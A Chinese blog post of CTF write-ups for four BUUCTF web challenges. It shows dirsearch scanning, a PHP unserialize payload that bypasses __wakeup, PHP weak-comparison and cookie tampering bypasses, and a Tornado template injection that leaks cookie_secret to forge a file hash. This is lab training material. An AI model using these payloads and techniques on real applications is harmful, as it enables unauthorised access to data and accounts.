BUU刷题记2


title: BUU刷题记2
date: 2022-06-14 18:54:15
tags: CTF_WEB

[极客大挑战 2019]PHP1

题目描述:

image-20220614185558645

思路:

  1. 一开始只想到看源码,没发现
  2. 提示备份,扫描网站目录呀

python3 dirsearch.py -u “http://49ccffbe-070a-4af8-bedc-679f278f20f3.node4.buuoj.cn:81/?.php” -e * -w ndb

kali:目录在~的dirsearch

扫描工具使用:

dirsearch:

下载项目,并打开

Copy┌─[root@kali]─[/kali]
└──╼ #git clone https://github.com/maurosoria/dirsearch
Copy┌─[root@kali]─[/kali]
└──╼ #cd dirsearch/

运行需要python3环境

Copy┌─[root@kali][/kali/dirsearch]
└──╼ #python3 dirsearch.py -u "http://localhost/" -e *

扫描网站需要指定网站的脚本类型,* 为全部类型的脚本

python3 dirsearch.py -u "950f20e7-c4b0-4277-b5a4-98ba51ba0d1f.node4.buuoj.cn:81/" -e* -w db/综合高危.txt

kali中py3安装(kali自带py为2.~)

但是这个笨蛋没有能扫出来啊啊啊(还有,命令中-e* 中间没有空格)

如果要排除某些HTTP状态代码,请使用-x标志。

#dirsearch -u http://192.168.0.102/dvwa -e php -x 403

[详细命令:]([WEB安全]Dirsearch工具命令 - 肖洋肖恩、 - 博客园 (cnblogs.com))

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-i5aycDeJ-1658472240052)(https://cdn.jsdelivr.net/gh/KanNiKanYun/blog-img/blog-img202206152101795.png)]

没想到Windows下的dirsearch能扫,哎哎

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-u3mJrzIE-1658472240053)(https://cdn.jsdelivr.net/gh/KanNiKanYun/blog-img/blog-img202206152239673.png)]

[Windows下dirsearch配置]((6条消息) dirsearch使用教程(Windows版本)_大西瓜的安全之路的博客-CSDN博客_dirsearch windows)

应该是网站有扫描限制

换御剑扫

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-62sYgKBD-1658472240054)(https://cdn.jsdelivr.net/gh/KanNiKanYun/blog-img/blog-img202206152108050.png)]

多扫几次也不行,哎(工具小子都不会当😢)

顺带分享下大神整理的网站目录扫描工具


访问www.zip

两处代码:

Class.php

<?php
include 'flag.php';
error_reporting(0);
class Name{
    private $username = 'nonono';
    private $password = 'yesyes';
    public function __construct($username,$password){
        $this->username = $username;
        $this->password = $password;
    }
    function __wakeup(){
        $this->username = 'guest';
    }
    function __destruct(){
        if ($this->password != 100) {
            echo "</br>NO!!!hacker!!!</br>";
            echo "You name is: ";
            echo $this->username;echo "</br>";
            echo "You password is: ";
            echo $this->password;echo "</br>";
            die();
        }
        if ($this->username === 'admin') {
            global $flag;
            echo $flag;
        }else{
            echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
            die();
        }
    }
}
?>

以及index.php中

 <?php
    include 'class.php';
    $select = $_GET['select'];
    $res=unserialize(@$select);
    ?>

得出url传参值需要:

password=100,username=admin`才能`echo $flag

payload:

<?php
   class Name{
    private $username = 'nonono';
    private $password = 'yesyes';
    public function __construct($username,$password){
        $this->username = $username;
        $this->password = $password;
    }
}
$a = new Name(admin,100);
echo($b=urlencode(serialize($a)));
?>
O%3A4%3A%22Name%22%3A2%3A%7Bs%3A14%3A%22%00Name%00username%22%3Bs%3A5%3A%22admin%22%3Bs%3A14%3A%22%00Name%00password%22%3Bi%3A100%3B%7D

需要对function __wakeup(){ $this->username = 'guest'; }进行绕过,可更改属性数量绕过(系列化漏洞)

调用unserialize()时会自动调用魔法函数wakeup(),可以通过改变属性数绕过,把Name后面的2改为3或以上即可

最终payload1(php中的urlencode函数):

O%3A4%3A%22Name%22%3A3%3A%7Bs%3A14%3A%22%00Name%00username%22%3Bs%3A5%3A%22admin%22%3Bs%3A14%3A%22%00Name%00password%22%3Bi%3A100%3B%7D
  1. 然后url识别不了",改为%22
  2. 因为成员(属性)是private,所以要在类名和成员名前加%00这个url编码是空的意思。因为生产序列化时不会把这个也输出。
  3. 也可以直接用序列化后的url编码。这里要注意,php的urlencode()是会自动把编码成%00

最终payload2(手动将=="空格%22%00==替换):

O:4:%22Name%22:3:{s:14:%22%00Name%00username%22;s:5:%22admin%22;s:14:%22%00Name%00password%22;i:100;}

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-YXS0lDVK-1658472240054)(https://cdn.jsdelivr.net/gh/KanNiKanYun/blog-img/blog-img202206152322629.png)]

魔法函数
通常来说有一些PHP的魔法函数会导致反序列化漏洞,如:
__construct 当一个对象创建时自动调用
__destruct 当对象被销毁时自动调用 (php绝大多数情况下会自动调用销毁对象)
__sleep() 使**用serialize()函数时触发
__wakeup 使用unserialse()**函数时会自动调用
__toString 当一个对象被当作一个字符串被调用。
__call() 在对象上下文中调用不可访问的方法时触发
__callStatic() 在静态上下文中调用不可访问的方法时触发
__get() 用于从不可访问的属性读取数据//调用私有属性时使用
__set() 用于将数据写入不可访问的属性
__isset() 在不可访问的属性上调用isset()或empty()触发
__unset() 在不可访问的属性上使用unset()时触发
__toString() 把类当作字符串使用时触发,返回值需要为字符串
__invoke() 当脚本尝试将对象调用为函数时触`发

[参考链接]([(6条消息) BUUCTF 极客大挑战 2019]PHP 1_wow小华的博客-CSDN博客)

[ACTF2020 新生赛]BackupFile

题目描述:

image-20220616155752118

源码没消息,尝试dirsearch扫目录,无线索

换ctf相关备份字典:

扫的过程中[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-6WOuXPWu-1658472240055)(https://cdn.jsdelivr.net/gh/KanNiKanYun/blog-img/blog-img202206161647834.png)]

都是429(并发请求过多)

等会再扫

<?php
include_once "flag.php";

if(isset($_GET['key'])) {
    $key = $_GET['key'];
    if(!is_numeric($key)) {
        exit("Just num!");
    }
    $key = intval($key);
    $str = "123ffwsfwefwf24r2f32ir23jrw923rskfjwtsw54w3";
    if($key == $str) {
        echo $flag;
    }
}
else {
    echo "Try to find out source file!";
}


php弱类型比较(==),当数字和字符/字符串进行比较时会将字符/字符串先转化为数字(即数字字符转为原值,而字符会转为0)

得payload:

?key=123

[极客大挑战 2019]BuyFlag

题目描述:

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-p0S0yGGH-1658472240055)(https://cdn.jsdelivr.net/gh/KanNiKanYun/blog-img/blog-img202206241825566.png)]

查看FLAG页面中的内容

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-5IowGGT2-1658472240056)(https://cdn.jsdelivr.net/gh/KanNiKanYun/blog-img/blog-img202206241826238.png)]

If you want to buy the FLAG:
You must be a student from CUIT!!!
You must be answer the correct password!!!

Only Cuit’s students can buy the FLAG

提示需要以Cuit(Chengdu University of Information Technology)学生的身份登录而且要输入正确的密码

pay.php中关键部分

<!--
	~~~post money and password~~~
if (isset($_POST['password'])) {
	$password = $_POST['password'];
	if (is_numeric($password)) {
		echo "password can't be number</br>";
	}elseif ($password == 404) {
		echo "Password Right!</br>";
	}
}
-->
</html>

isset()函数是用来检验变量是否被设置的。
is_numeric()函数检测字符串是否只由数字组成,如果字符串中只包括数字,就返回Ture,否则返回False。

对于$password == 404,在PHP中==是一种弱类型比较,即只取字符串中开头的整数部分进行比较。

由此我们可以得出绕过密码的方法:
  用POST方法发送一个名为password的变量,令password = 404a(在404后面添加任意字母即可)或password = 404%20(相当于在404后面加了一个空格,其他空白字符也可以绕过)

注意到源代码中还有这样一句:Flag need your 100000000 money
也就是说我们还需要用POST方法上传money变量使其等于100000000

抓包

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Dg8XFJEk-1658472240056)(https://cdn.jsdelivr.net/gh/KanNiKanYun/blog-img/blog-img202206241830063.png)]

在Request请求中,Cookie: user=0,这里是身份判断的位置,在布尔值中0为false,1为true,我们将其改为Cookie: user=1以通过身份验证。

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-9oS1rx27-1658472240057)(https://cdn.jsdelivr.net/gh/KanNiKanYun/blog-img/blog-img202206241832481.png)]

显示Nember lenth is too long应该是存在长度限制,这里有两种绕过方法
1、科学计数法绕过money=1e9
2、数组绕过money[]=1

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-guTFkUkA-1658472240057)(https://cdn.jsdelivr.net/gh/KanNiKanYun/blog-img/blog-img202206241829282.png)]

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-eFHl9dw1-1658472240057)(https://cdn.jsdelivr.net/gh/KanNiKanYun/blog-img/blog-img202206241831950.png)]

[护网杯 2018]easy_tornado

SSTI 介绍

就是服务器端模板注入(Server-Side Template Injection)

漏洞成因就是服务端接收了用户的恶意输入以后,未经任何处理就将其作为 Web 应用模板内容的一部分,模板引擎在进行目标编译渲染的过程中,执行了用户插入的可以破坏模板的语句,因而可能导致了敏感信息泄露、代码执行、GetShell 等问题。其影响范围主要取决于模版引擎的复杂性。

tornado render

tornado render是python中的一个渲染函数,也就是一种模板,通过调用的参数不同,生成不同的网页,如果用户对render内容可控,不仅可以注入XSS代码,而且还可以通过{{}}进行传递变量和执行简单的表达式。

题目描述:

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-QVqdfidd-1658472240057)(https://cdn.jsdelivr.net/gh/KanNiKanYun/blog-img/blog-img202206252206755.png)]

flag.txt:

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-V5b6IeL6-1658472240058)(https://cdn.jsdelivr.net/gh/KanNiKanYun/blog-img/blog-img202206252208166.png)]

welcome.txt

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-YJ3ScJHo-1658472240058)(https://cdn.jsdelivr.net/gh/KanNiKanYun/blog-img/blog-img202206252209874.png)]

hints.txt

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-tiFvVY5F-1658472240058)(https://cdn.jsdelivr.net/gh/KanNiKanYun/blog-img/blog-img202206252210536.png)]

题目链接:

http://e1b975d1-eca8-4604-b1a1-efe8bf0b1f35.node4.buuoj.cn:81/file?filename=/welcome.txt&filehash=7e73b8eecefb8cb8424ae331e3c4ac14

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-KHhsk5l2-1658472240059)(https://cdn.jsdelivr.net/gh/KanNiKanYun/blog-img/blog-img202206252219622.png)]

猜测?msg即为注入点

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-8g522oZB-1658472240059)(https://cdn.jsdelivr.net/gh/KanNiKanYun/blog-img/blog-img202206252220003.png)]

可见页面返回的由msg的值决定,修改msg的值形成注入,获得环境变量

推测md5加密过后的值就是url中filehash对应的值,想获得flag只要我们在filename中传入/fllllllllllllag文件和filehash,所以关键是获取cookie_secret

在tornado模板中,存在一些可以访问的快速对象,比如 {{escape(handler.settings["cookie"])}},这个其实就是handler.settings对象,里面存储着一些环境变量

  1. handler 指向RequestHandler
  2. 而RequestHandler.settings又指向self.application.settings
  3. 所有handler.settings就指向RequestHandler.application.settings了!
  4. 大概就是说,这里面就是我们一下环境变量,我们正是从这里获取的cookie_secret

payload1:

?msg={{handler.settings}} 

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-0rk6v6vq-1658472240059)(https://cdn.jsdelivr.net/gh/KanNiKanYun/blog-img/blog-img202206252226715.png)]

Python脚本获取filename+cookie_secret的MD5加密值

import hashlib

def md5(s):
    md5 = hashlib.md5()
    md5.update(s.encode("utf8"))
    return md5.hexdigest()  #转为16进制显示

def filehash():
    filename = '/fllllllllllllag'
    cookie_secret = 'fa7d9694-aaa4-4a87-bd8e-76b2c8f5f010'
    #print(md5(cookie_secret+md5(filename)))
    print(md5(cookie_secret + md5(filename)))

#防止模块被导入后下方代码也被执行
if __name__ == '__main__':
    filehash()

payload2:

ac815a16b2654d16425e58972575835e

finally payload:

file?filename=/fllllllllllllag&filehash=ac815a16b2654d16425e58972575835e

得到flag:

image-20220625223037057

总结:

Python tornado render 模板注入漏洞

参考:SSTI(模板注入)漏洞(入门篇)

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值